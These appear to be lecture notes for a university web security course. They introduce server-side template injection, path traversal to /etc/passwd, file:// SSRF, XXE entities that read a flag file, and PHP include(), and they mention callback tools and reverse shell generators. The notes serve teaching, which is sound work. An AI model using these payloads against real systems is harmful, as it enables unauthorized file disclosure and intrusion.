If you aren’t in a group please let me know
How’d you all find it (trivial enough?)
Templating engines (eg. Jinja2, Pug) use templates to inject code and variables into static files
Jinja2: {{
<CODE HERE>}}
e.g. {{7*7}}
=> 49
what if we tricked the template rendering into thinking our user-supplied content was code?
checkout explainshell and revshells
python3 -m http.server + NGROK
RequestBin
GitHub pages
(needs to build everytime though so it’s slow)somehow include a page
?page=index.html
(what about ?page=../../../etc/passwd
)https://a.com/catpicture.png
(what about file:///etc/passwd
)<users>
<user id="1">
<username>melon</username>
<password>Hunter2</password>
</user>
<user id="2">
<username>admin</username>
<password>admin</password>
</user>
</users>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY string "hey, don't read my diary" >
]>
<diary>
<entry>&string;</entry>
</diary>
prints
hey, don't read my diary
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY funCatFact "https://FunCatFact.com/generate" >
]>
<diary>
<entry>&funCatFact;</entry>
</diary>
prints
Cats are asleep for 70% of their lives.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY flag SYSTEM "file:///flag.txt" >
]>
<diary>
<entry>&flag;</entry>
</diary>
prints
COMP6443{....}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % difficulty "trivial" >
<!ENTITY % meme "web apps is %difficulty;" >
]>
<diary>
<entry>%meme;</entry>
</diary>
prints
web apps is trivial
PHP has this reaelly funny include()
function
What you all came for lol